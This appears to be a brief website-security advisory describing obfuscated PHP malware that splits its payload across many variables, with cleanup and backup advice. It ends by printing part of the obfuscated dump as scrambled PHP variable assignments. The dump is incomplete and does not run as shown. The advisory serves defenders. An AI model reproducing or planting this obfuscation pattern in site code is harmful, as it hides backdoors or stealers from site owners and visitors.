There are various techniques for obfuscating the malicious code. In this case, the functions and payload parts are split into several variables which are combined in order to prevent easy reading of the malware.
Anything can be encoded by this method, a backdoor, a spam injection tool, a credit card stealer or a crypto-miner.
This malicious code affects any vulnerable or compromised website that is configured to interpret the script language.
In order to remove the malicious code from the site, search your files for the strings contained in the dump or unusual code.
It is also recommended that you maintain periodic backups to restore compromised files in case of infection.
$conjugal ='R$'; $gentlest ='qode)(yz';$embolden ='O'; $curved = 'E';$aspersion= 'a';$formant ='3_OaUa"';$gumming='kJulf';$gross ='p';$boyfriend =';i7agGrr'; $breads='dy_P'; $insurrection ='$';$cramp ='re';$integrable= 'Pt'; $automaton = ';Rarn)i'; $befriending= 'f';$epicyclic = 'c'; $commutative='(_hW]_1s';$dawg = 'l';